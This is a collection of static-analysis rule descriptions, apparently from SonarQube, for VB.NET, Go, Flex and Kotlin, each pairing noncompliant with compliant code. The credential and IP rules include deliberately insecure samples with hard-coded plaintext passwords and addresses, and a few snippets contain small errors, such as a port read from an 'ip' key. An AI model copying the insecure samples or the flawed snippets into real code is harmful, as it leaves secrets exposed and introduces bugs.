Public Function Bar(ByVal p1 As Integer, ByVal p2 As Integer, ByVal p3 As Integer, ByVal p4 As Integer) ' Noncompliant
  ' ...
End Function

Compliant Solution

Public Sub Foo(ByVal p1 As Integer, ByVal p2 As Integer, ByVal p3 As Integer)
  ' ...
End Sub

Public Function Bar(ByVal p1 As Integer, ByVal p2 As Integer, ByVal p3 As Integer)
  ' ...
End Function
vbnet:S104

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

vbnet:S105

Developers should not need to configure the tab width of their text editors in order to be able to read source code.

So the use of the tabulation character must be banned.

vbnet:S103

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

vbnet:S907

GoTo is an unstructured control flow statement. It makes code less readable and maintainable. Structured control flow statements such as If, For, While, or Exit should be used instead.

Noncompliant Code Example

    Sub GoToStatementDemo()
        Dim number As Integer = 1
        Dim sampleString As String
        ' Evaluate number and branch to appropriate label.
        If number = 1 Then GoTo Line1 Else GoTo Line2
Line1:
        sampleString = "Number equals 1"
        GoTo LastLine
Line2:
        ' The following statement never gets executed because number = 1.
        sampleString = "Number equals 2"
LastLine:
        ' Write "Number equals 1" in the Debug window.
        Debug.WriteLine(sampleString)
    End Sub

Compliant Solution

    Sub GoToStatementDemo()
        Dim number As Integer = 1
        Dim sampleString As String
        ' Evaluate number and branch to appropriate label.
        If number = 1 Then
            sampleString = "Number equals 1"
        Else
            sampleString = "Number equals 2"
        End If
        Debug.WriteLine(sampleString)
    End Sub
vbnet:S2349

"After" and "Before" prefixes or suffixes should not be used to indicate pre and post events. The concepts of before and after should be given to events using the present and past tense.

Noncompliant Code Example

Class Foo
    Event BeforeClose() ' Noncompliant
    Event AfterClose()  ' Noncompliant
End Class

Compliant Solution

Class Foo
    Event Closing()     ' Compliant
    Event Closed()      ' Compliant
End Class
vbnet:S2348

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all even names match a provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Pascal casing, starting with an upper case character, e.g. BackColor
  • Short abbreviations of 2 letters can be capitalized, e.g. GetID
  • Longer abbreviations need to be lower cased, e.g. GetHtml

Noncompliant Code Example

With the default regular expression ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Class Foo
    Event fooEvent() ' Noncompliant
End Class

Compliant Solution

Class Foo
    Event FooEvent() ' Compliant
End Class
vbnet:S1656

There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.

Noncompliant Code Example

Public Sub SetName(name As String)
  name = name
End Sub

Compliant Solution

Public Sub SetName(name As String)
  Me.name = name
End Sub

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
vbnet:S1659

Declaring multiple variable on one line is difficult to read.

Noncompliant Code Example

Module Module1
  Public Const AAA As Integer = 5, BBB = 42, CCC As String = "foo"  ' Noncompliant
End Module

Compliant Solution

Module Module1
  Public Const AAA As Integer = 5
  Public Const BBB = 42
  Public Const CCC as String = "foo"
End Module

See

  • CERT, DCL52-J. - Do not declare more than one variable per declaration
  • CERT, DCL04-C. - Do not declare more than one variable per declaration
vbnet:S2340

A Do ... Loop without a While or Until condition must be terminated by an unstructured Exit Do statement. It is safer and more readable to use structured loops instead.

Noncompliant Code Example

Module Module1
    Sub Main()
        Dim i = 1

        Do                        ' Non-Compliant
            If i = 10 Then
                Exit Do
            End If

            Console.WriteLine(i)

            i = i + 1
        Loop
    End Sub
End Module

Compliant Solution

Module Module1
    Sub Main()
        For i = 1 To 9            ' Compliant
            Console.WriteLine(i)
        Next
    End Sub
End Module
vbnet:S112

Throwing such general exceptions as Exception, SystemException, ApplicationException, IndexOutOfRangeException, NullReferenceException, OutOfMemoryException and ExecutionEngineException prevents calling methods from handling true, system-generated exceptions differently than application-generated errors.

Noncompliant Code Example

Public Sub DoSomething(obj As Object)
  If obj Is Nothing Then
    ' Noncompliant
    Throw New NullReferenceException("obj")
  End If
  ' ...
End Sub

Compliant Solution

Public Sub DoSomething(obj As Object)
  If obj Is Nothing Then
    Throw New ArgumentNullException("obj")
  End If
  ' ...
End Sub

See

vbnet:S2068

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

Ask Yourself Whether

  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use your cloud provider's service for managing secrets.
  • If the a password has been disclosed through the source code: change it.

Sensitive Code Example

Dim username As String = "admin"
Dim password As String = "Password123" ' Sensitive
Dim usernamePassword As String = "user=admin&password=Password123" ' Sensitive
Dim url As String = "scheme://user:Admin123@domain.com" ' Sensitive

Compliant Solution

Dim username As String = "admin"
Dim password As String = GetEncryptedPassword()
Dim usernamePassword As String = String.Format("user={0}&password={1}", GetEncryptedUsername(), GetEncryptedPassword())
Dim url As String = $"scheme://{username}:{password}@domain.com"

Dim url2 As String= "http://guest:guest@domain.com" ' Compliant
Const Password_Property As String = "custom.password" ' Compliant

Exceptions

  • Issue is not raised when URI username and password are the same.
  • Issue is not raised when searched pattern is found in variable name and value.

See

vbnet:S2343

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all enumeration value names match a provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Pascal casing, starting with an upper case character, e.g. BackColor
  • Short abbreviations of 2 letters can be capitalized, e.g. GetID
  • Longer abbreviations need to be lower cased, e.g. GetHtml

Noncompliant Code Example

With the default regular expression ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Enum Foo
    fooValue   ' Noncompliant
End Enum

Compliant Solution

Enum Foo
    FooValue   ' Compliant
End Enum
vbnet:S2342

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all enum names match a provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Pascal casing, starting with an upper case character, e.g. BackColor
  • Short abbreviations of 2 letters can be capitalized, e.g. GetID
  • Longer abbreviations need to be lower case, e.g. GetHtml
  • If the enum is marked as [Flags] then its name should be plural (e.g. MyOptions), otherwise, names should be singular (e.g. MyOption)

Noncompliant Code Example

With the default regular expression for non-flags enums: ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$

Public Enum foo ' Noncompliant
    FooValue = 0
End Enum

With the default regular expression for flags enums: ^([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?s$

<Flags()>
Public Enum Option ' Noncompliant
    None = 0,
    Option1 = 1,
    Option2 = 2
End Enum

Compliant Solution

Public Enum Foo
    FooValue = 0
End Enum
<Flags()>
Public Enum Options
    None = 0,
    Option1 = 1,
    Option2 = 2
End Enum
vbnet:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

Function Divide(ByVal numerator As Integer, ByVal denominator As Integer) As Integer
    Return numerator / denominator  ' FIXME denominator value might be  0
End Function

See

vbnet:S2345

Flags enumerations should not rely on the language to initialize the values of their members. Implicit initialization will set the first member to 0, and increment the value by one for each subsequent member. This implicit behavior does not allow members to be combined using the bitwise or operator in a useful way.

Instead, 0 and powers of two (i.e. 1, 2, 4, 8, 16, ...) should be used to explicitly initialize all the members.

Noncompliant Code Example

<Flags()>
Enum FruitType    ' Non-Compliant
  None
  Banana
  Orange
  Strawberry
End Enum

Module Module1
  Sub Main()
    Dim bananaAndStrawberry = FruitType.Banana Or FruitType.Strawberry

    ' Will display only Strawberry!
    Console.WriteLine(bananaAndStrawberry.ToString())
  End Sub
End Module

Compliant Solution

<Flags()>
Enum FruitType    ' Compliant
  None = 0
  Banana = 1
  Orange = 2
  Strawberry = 4
End Enum

Module Module1
  Sub Main()
    Dim bananaAndStrawberry = FruitType.Banana Or FruitType.Strawberry

    ' Will display Banana and Strawberry, as expected.
    Console.WriteLine(bananaAndStrawberry.ToString())
  End Sub
End Module

Exceptions

The default initialization of 0, 1, 2, 3, 4, ... matches 0, 1, 2, 4, 8 ... in the first three values, so no issue is reported if the first three members of the enumeration is not initialized.

vbnet:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

Sub DoSomething()
    ' TODO
End Sub

See

vbnet:S2344

The information that an enumeration type is actually an enumeration or a set of flags should not be duplicated in its name.

Noncompliant Code Example

Enum FooFlags ' Noncompliant
    Foo = 1
    Bar = 2
    Baz = 4
End Enum

Compliant Solution

Enum Foo      ' Compliant
    Foo = 1
    Bar = 2
    Baz = 4
End Enum
vbnet:S2347

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all even handler names match a provided regular expression.

The default configuration is:

  • Either in Pascal case, i.e. starting with an upper case letter, e.g. OnMyButtonClicked
  • Or, a subject, in Pascal or camel case, followed by an underscore followed by an event name, in Pascal case, e.g. btn1_Clicked

Event handlers with a handles clause and two-parameter methods with EventArgs second parameter are covered by this rule.

Noncompliant Code Example

With the default regular expression ^(([a-z][a-z0-9]*)?([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?_)?([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$:

Module Module1
    Sub subject__SomeEvent() Handles X.SomeEvent   ' Noncompliant - two underscores
    End Sub
End Module

Compliant Solution

Module Module1
    Sub subject_SomeEvent() Handles X.SomeEvent    ' Compliant
    End Sub
End Module
vbnet:S2346

Consistent use of "None" in flags enumerations indicates that all flag values are cleared. The value 0 should not be used to indicate any other state, since there is no way to check that the bit 0 is set.

Noncompliant Code Example

<Flags()>
Enum FruitType
    Void = 0        ' Non-Compliant
    Banana = 1
    Orange = 2
    Strawberry = 4
End Enum

Compliant Solution

<Flags()>
Enum FruitType
    None = 0        ' Compliant
    Banana = 1
    Orange = 2
    Strawberry = 4
End Enum
vbnet:S1654

Sharing some naming conventions is a key point to make it possible for a team to efficiently collaborate.

This rule allows to check that all parameter names match a provided regular expression.

The default configuration is the one recommended by Microsoft:

  • Camel casing, starting with a lower case character, e.g. backColor
  • Short abbreviations of 2 letters can be capitalized only when not at the beginning, e.g. id, productID
  • Longer abbreviations need to be lower cased, e.g. html

Noncompliant Code Example

With the default regular expression ^[a-z][a-z0-9]*([A-Z]{1,3}[a-z0-9]+)*([A-Z]{2})?$

Module Module1
    Sub GetSomething(ByVal ID As Integer) ' Noncompliant
    End Sub
End Module

Compliant Solution

Module Module1
    Sub GetSomething(ByVal id As Integer) ' Compliant
    End Sub
End Module
common-flex:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-flex:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-flex:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-flex:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-flex:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-flex:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
common-go:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-go:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-go:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-go:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-go:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-go:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
go:S117

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression.

Noncompliant Code Example

With the default regular expression ^(_|[a-zA-Z0-9]+)$:

func doSomething(my_param int) { // Noncompliant
  var local_ int; // Noncompliant
  ...
}

Compliant Solution

func doSomething(myParam int) {
  var local int;
  ...
}{code}
go:S138

A function that grows too large tends to aggregate too many responsibilities.

Such functions inevitably become harder to understand and therefore harder to maintain.

Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks.

Those smaller functions will not only be easier to understand, but also probably easier to test.

go:S1821

Nested switch structures are difficult to understand because you can easily confuse the cases of an inner switch as belonging to an outer statement. Therefore nested switch statements should be avoided.

Specifically, you should structure your code to avoid the need for nested switch statements, but if you cannot, then consider moving the inner switch to another function.

Noncompliant Code Example

func foo(x,y int) {
	switch x {
	case 0:
		switch y { // Noncompliant; nested switch
		// ...
		}
	case 1:
		// ...
	default:
		// ...
	}
}

Compliant Solution

func foo(x,y int) {
	switch x {
	case 0:
		bar(y)
	case 1:
		// ...
	default:
		// ...
	}
}

func bar(y int) {
	switch y {
	// ...
	}
}
go:S3923

Having all branches in a switch or if chain with the same implementation is an error. Either a copy-paste error was made and something different should be executed, or there shouldn't be a switch/if chain at all.

Noncompliant Code Example

if b == 0 {  // Noncompliant
  doOneMoreThing()
} else {
  doOneMoreThing()
}

switch i {  // Noncompliant
  case 1:
    doSomething()
  case 2:
    doSomething()
  case 3:
    doSomething()
  default:
    doSomething()
}

Exceptions

This rule does not apply to if chains without else-s, or to switch-es without default clauses.

if b == 0 {    //no issue, this could have been done on purpose to make the code more readable
  doSomething()
} else if b == 1 {
  doSomething()
}
go:S2757

The use of operators pairs ( =+, =- or =! ) where the reversed, single operator was meant (+=, -= or !=) will compile and run, but not produce the expected results.

This rule raises an issue when =+, =-, or =! is used without any spacing between the two operators and when there is at least one whitespace character after.

Noncompliant Code Example

var target, num = -5, 3

target =- num  // Noncompliant; target = -3. Is that really what's meant?
target =+ num // Noncompliant; target = 3

Compliant Solution

var target, num = -5, 3

target = -num  // Compliant; intent to assign inverse value of num is clear
target += num
go:S100

Shared naming conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression.

Noncompliant Code Example

With default provided regular expression: ^(_|[a-zA-Z0-9]+)$:

func execute_all() {
...
}

Compliant Solution

func executeAll() {
...
}
go:S122

For better readability, do not put more than one statement on a single line.

Noncompliant Code Example

foo(); bar() // Noncompliant

Compliant Solution

foo()
bar()

Exceptions

Control flow statements with a single nested statement are ignored.

if condition { doSomething() } // Compliant
go:S1186

There are several reasons for a method not to have a method body:

  • It is an unintentional omission, and should be fixed to prevent an unexpected behavior in production.
  • It is not yet, or never will be, supported. In this case an exception should be thrown.
  • The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.

Noncompliant Code Example

func doNothing() { // Noncompliant
}

Compliant Solution

func doNothing() {
  // Do nothing because of X and Y.
}
go:S1067

The complexity of an expression is defined by the number of &&, || and condition ? ifTrue : ifFalse operators it contains.

A single expression's complexity should not become too high to keep the code readable.

Noncompliant Code Example

With the default threshold value of 3:

if (((condition1 && condition2) || (condition3 && condition4)) && condition5) { ... }

Compliant Solution

if ( (myFirstCondition() || mySecondCondition()) && myLastCondition()) { ... }
go:S1145

if statements with conditions that are always false have the effect of making blocks of code non-functional. if statements with conditions that are always true are completely redundant, and make the code less readable.

There are three possible causes for the presence of such code:

  • An if statement was changed during debugging and that debug code has been committed.
  • Some value was left unset.
  • Some logic is not doing what the programmer thought it did.

In any of these cases, unconditional if statements should be removed.

Noncompliant Code Example

if true {
	doSomething()
}

if false {
	doSomething()
}

Compliant Solution

doSomething();
...

See

go:S1125

Redundant Boolean literals should be removed from expressions to improve readability.

Noncompliant Code Example

if boolFunc() || false {
    // ...
}

flag := x && true

Compliant Solution

if boolFunc() {
    // ...
}

flag := x
go:S1862

A chain of if/else if statements is evaluated from top to bottom. At most, only one branch will be executed: the first one with a condition that evaluates to true.

Therefore, duplicating a condition automatically leads to dead code. Usually, this is due to a copy/paste error. At best, it's simply dead code and at worst, it's a bug that is likely to induce further bugs as the code is maintained, and obviously it could lead to unexpected behavior.

Noncompliant Code Example

func example(condition1, condition2 bool) {
  if condition1 {
  } else if condition1 { // Noncompliant
  }
}
func SwitchWithMultipleConditions(param int) {
  switch param {
  case 1, 2, 3:
    fmt.Println(">1")
  case 3, 4, 5: // Noncompliant; 3 is duplicated
    fmt.Println("<1")
  }
}

Compliant Solution

func example(condition1, condition2 bool) {
  if condition1 {
  } else if condition2 { // Compliant
  }
}
func SwitchWithMultipleConditions(param int) {
  switch param {
  case 1, 2, 3:
    fmt.Println(">1")
  case 4, 5: // Compliant
    fmt.Println("<1")
  }
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
go:S1763

Jump statements (return, break, continue, goto) and throw expressions move control flow out of the current code block. So any unlabelled statements that come after a jump are dead code.

Noncompliant Code Example

func add(x, y int) int {
	return x + y // Noncompliant
	z := x + y // dead code
}

Compliant Solution

func add(x, y int) int {
	return x + y // Compliant
}

See

go:S1940

It is needlessly complex to invert the result of a boolean comparison. The opposite comparison should be made instead.

Noncompliant Code Example

if ( !(a == 2)) { ...}  // Noncompliant
boolean b = !(i < 10);  // Noncompliant

Compliant Solution

if (a != 2) { ...}
boolean b = (i >= 10);
go:S1764

Using the same value on either side of a binary operator is almost always a mistake. In the case of logical operators, it is either a copy/paste error and therefore a bug, or it is simply wasted code, and should be simplified. In the case of bitwise operators and most binary mathematical operators, having the same value on both sides of an operator yields predictable results, and should be simplified.

Noncompliant Code Example

func main() {
  v1 := (true && false) && (true && false) // Noncompliant
}

Compliant Solution

func main() {
  v1 := (true && false) // Compliant
}

Exceptions

This rule ignores *, +, << and =.

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
  • S1656 - Implements a check on =.
go:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

func compute(a int, b int) {
	sum := a + b
	if  sum > 0 { } // Noncompliant; empty on purpose or missing piece of code?
	fmt.Println("Result:", sum)
}

Compliant Solution

func compute(a int, b int) {
	sum := a + b
	if  sum > 0 {
		fmt.Println("Positive result")
	}
	fmt.Println("Result:", sum)
}

Exceptions

When a block contains a comment, this block is not considered to be empty. for without init and post statements with empty blocks are ignored as well.

go:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

Noncompliant Code Example

With a maximum number of 4 parameters:

func foo(p1 int, p2 int, p3 int, p4 int, p5 int) { // Noncompliant
  // ...
}

Compliant Solution

func foo(p1 int, p2 int, p3 int, p4 int) {
  // ...
}
go:S126

This rule applies whenever an if statement is followed by one or more else if statements; the final else if should be followed by an else statement.

The requirement for a final else statement is defensive programming.

The else statement should either take appropriate action or contain a suitable comment as to why no action is taken. This is consistent with the requirement to have a final default clause in a switch statement.

Noncompliant Code Example

if x == 0 {
	doSomething()
} else if x == 1 {
	doSomethingElse()
}

Compliant Solution

if x == 0 {
	doSomething()
} else if x == 1 {
	doSomethingElse()
} else {
	return errors.New("unsupported int")
}

Exceptions

When all branches of an if-else if end with return or break, the code that comes after the if implicitly behaves as if it was in an else clause. This rule will therefore ignore that case.

See

go:S1192

Duplicated string literals make the process of refactoring error-prone, since you must be sure to update all occurrences.

On the other hand, constants can be referenced from many places, but only need to be updated in a single place.

Noncompliant Code Example

With the default threshold of 3:

func run() {
	prepare("This should be a constant")  // Noncompliant; 'This should ...' is duplicated 3 times
	execute("This should be a constant")
	release("This should be a constant")
}

Compliant Solution

const ACTION = "This should be a constant"

func run() {
	prepare(ACTION)
	execute(ACTION)
	release(ACTION)
}

Exceptions

To prevent generating some false-positives, literals having 5 or less characters are excluded as well as literals containing only letters, digits and '_'.

go:S104

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

go:S1151

The switch statement should be used only to clearly define some new branches in the control flow. As soon as a case clause contains too many statements this highly decreases the readability of the overall control flow statement. In such case, the content of the case clause should be extracted into a dedicated method.

Noncompliant Code Example

With the default threshold of 5:

func foo(tag int) {
	switch tag {
	case 0:
		methodCall1()
		methodCall2()
		methodCall3()
		methodCall4()
                methodCall5()
                methodCall6()
	case 1:
		bar()
	}
}

Compliant Solution

func foo(tag int) {
	switch tag {
	case 0:
		executeAll()
	case 1:
		bar()
	}
}

func executeAll() {
	methodCall1()
	methodCall2()
	methodCall3()
	methodCall4()
        methodCall5()
        methodCall6()
}
go:S103

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

go:S1314

Integer literals starting with a zero are octal rather than decimal values. While using octal values is fully supported, most developers do not have experience with them. They may not recognize octal values as such, mistaking them instead for decimal values.

Noncompliant Code Example

func printTen() {
	myNumber := 010 // Noncompliant. myNumber will hold 8, not 10 - was this really expected?
	fmt.Println(myNumber)
}

Compliant Solution

func printTen() {
	myNumber := 10
	fmt.Println(myNumber)
}

See

go:S1479

When switch statements have large sets of case clauses, it is usually an attempt to map two sets of data. A real map structure would be more readable and maintainable, and should be used instead.

go:S1656

There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.

Noncompliant Code Example

func (user *User) rename(name string) {
  name = name  // Noncompliant
}

Compliant Solution

func (user *User) rename(name string) {
  user.name = name
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
go:ParsingError

When the parser fails, it is possible to record the failure as an issue on the file. This way, not only is it possible to track the number of files that do not parse but also to easily find out why they do not parse.

go:S4663

An empty multi-line comment is likely to be a mistake and doesn't help to improve the readability of the code. For these reasons, it should be removed.

Noncompliant Code Example

/* */

/*

 */
go:S134

Nested if, for, while, switch, and try statements are key ingredients for making what's known as "Spaghetti code".

Such code is hard to read, refactor and therefore maintain.

Noncompliant Code Example

With the default threshold of 3:

if condition1 { // Compliant - depth = 1
	/* ... */
	if condition2 { // Compliant - depth = 2
		/* ... */
		for i := 1; i <= 10; i++ { // Compliant - depth = 3, not exceeding the limit
			/* ... */
			if condition4 { // Noncompliant - depth = 4
				if condition5 { // Depth = 5, exceeding the limit, but issues are only reported on depth = 4
					/* ... */
				}
				return
			}
		}
	}
}
go:S4144

When two functions have the same implementation, either it was a mistake - something else was intended - or the duplication was intentional, but may be confusing to maintainers. In the latter case, one implementation should invoke the other.

Noncompliant Code Example

func fun1() (x, y int) {
  a, b := 1, 2
  b, a = a, b
  return a, b
}

func fun2() (x, y int) {  // Noncompliant; fun1 and fun2 have identical implementations
  a, b := 1, 2
  b, a = a, b
  return a, b
}

Compliant Solution

func fun1() (x, y int) {
  a, b := 1, 2
  b, a = a, b
  return a, b
}

func fun2() (x, y int) {  // Compliant
  return fun1()
}

Exceptions

Functions with fewer than 2 statements are ignored.

go:S1451

Each source file should start with a header stating file ownership and the license which must be used to distribute the application.

This rule must be fed with the header text that is expected at the beginning of every file.

Compliant Solution

/*
 * SonarQube, open source software quality management tool.
 * Copyright (C) 2008-2013 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
 * modify it under the terms of the GNU Lesser General Public
 * License as published by the Free Software Foundation; either
 * version 3 of the License, or (at your option) any later version.
 *
 * SonarQube is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
 * Lesser General Public License for more details.
 *
 * You should have received a copy of the GNU Lesser General Public License
 * along with this program; if not, write to the Free Software Foundation,
 * Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.
 */
go:S2068

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database or secret management service.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

Ask Yourself Whether

  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use the secret management service of you cloud provider.
  • If the a password has been disclosed through the source code: change it.

Sensitive Code Example

func connect()  {
  user := "root"
  password:= "supersecret" // Sensitive

  url := "login=" + user + "&passwd=" + password
}

Compliant Solution

func connect()  {
  user := getEncryptedUser()
  password:= getEncryptedPass() // Compliant

  url := "login=" + user + "&passwd=" + password
}

See

go:S131

The requirement for a final default clause is defensive programming. The clause should either take appropriate action, or contain a suitable comment as to why no action is taken.

Noncompliant Code Example

switch tag { // Noncompliant - default case is missing
case 0, 1, 2, 3:
	foo()
case 4, 5, 6, 7:
	bar()
}

Compliant Solution

switch tag {
case 0, 1, 2, 3:
	foo()
case 4, 5, 6, 7:
	bar()
default:
	qix()
}

See

go:S1110

The use of parentheses, even those not required to enforce a desired order of operations, can clarify the intent behind a piece of code. But redundant pairs of parentheses could be misleading, and should be removed.

Noncompliant Code Example

func foo(a bool, y int) int {
  x := (y / 2 + 1)   //Compliant even if the parenthesis are ignored by the compiler

  if a && ((x+y > 0)) {  // Noncompliant
    //...
  }

  return ((x + 1))  // Noncompliant
}

Compliant Solution

func foo(a bool, y int) int {
  x := (y / 2 + 1)

  if a && (x+y > 0) {
    //...
  }

  return (x + 1)
}
go:S1871

Having two cases in a switch statement or two branches in an if chain with the same implementation is at best duplicate code, and at worst a coding error. If the same logic is truly needed for both instances, then in an if chain they should be combined, or for a switch, one should fall through to the other.

Noncompliant Code Example

switch i {
case 1:
	doFirstThing()
	doSomething()
case 2:
	doSomethingElse()
case 3: // Noncompliant; duplicates case 1's implementation
	doFirstThing()
	doSomething()
default:
	doTheRest()
}

if a >= 0 && a < 10 {
	doFirstThing()
	doSomething()
} else if a >= 10 && a < 20 {
	doSomethingElse()
} else if a >= 20 && a < 50 {
	doFirstThing()
	doSomething() // Noncompliant; duplicates first condition
} else {
	doTheRest()
}

Exceptions

Blocks in an if chain or case blocks that contain a single line of code are ignored.

if a == 1 {
  doSomething()  //no issue, usually this is done on purpose to increase the readability
} else if a == 2 {
  doSomethingElse()
} else {
  doSomething()
}
go:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

func foo() {
  // FIXME
}

See

go:S1135

TODO tags are commonly used to mark places where some more code is required, but which the developer wants to implement later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

func foo() {
  // TODO
}

See

go:S3776

Cognitive Complexity is a measure of how hard the control flow of a function is to understand. Functions with high Cognitive Complexity will be difficult to maintain.

See

go:S1313

Hardcoding IP addresses is security-sensitive. It has led in the past to the following vulnerabilities:

Today's services have an ever-changing architecture due to their scaling and redundancy needs. It is a mistake to think that a service will always have the same IP address. When it does change, the hardcoded IP will have to be modified too. This will have an impact on the product development, delivery and deployment:

  • The developers will have to do a rapid fix every time this happens, instead of having an operation team change a configuration file.
  • It forces the same address to be used in every environment (dev, sys, qa, prod).

Last but not least it has an effect on application security. Attackers might be able to decompile the code and thereby discover a potentially sensitive address. They can perform a Denial of Service attack on the service at this address or spoof the IP address. Such an attack is always possible, but in the case of a hardcoded IP address the fix will be much slower, which will increase an attack's impact.

Ask Yourself Whether

The disclosed IP address is sensitive, eg:

  • Can give information to an attacker about the network topology.
  • It's a personal (assigned to an identifiable person) IP address.

There is a risk if you answered yes to any of these questions.

Recommended Secure Coding Practices

Don't hard-code the IP address in the source code, instead make it configurable.

Sensitive Code Example

var (
  ip   = "192.168.12.42"
  port = 3333
)

SocketClient(ip, port)

Compliant Solution

config, err := ReadConfig("properties.ini")

ip := config["ip"]
port := config["ip"]

SocketClient(ip, port)

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

  • Loopback addresses 127.0.0.0/8 in CIDR notation (from 127.0.0.0 to 127.255.255.255)
  • Broadcast address 255.255.255.255
  • Non routable address 0.0.0.0
  • Strings of the form 2.5.<number>.<number> as they often match Object Identifiers (OID).

See

kotlin:S117

Shared naming conventions allow teams to collaborate effectively. This rule raises an issue when a local variable or function parameter name does not match the provided regular expression.

kotlin:S138

A function that grows too large tends to aggregate too many responsibilities.

Such functions inevitably become harder to understand and therefore harder to maintain.

Above a specific threshold, it is strongly advised to refactor into smaller functions which focus on well-defined tasks.

Those smaller functions will not only be easier to understand, but also probably easier to test.

kotlin:S1481

If a local variable is declared but not used, it is dead code and should be removed. Doing so will improve maintainability because developers will not wonder what the variable is used for.

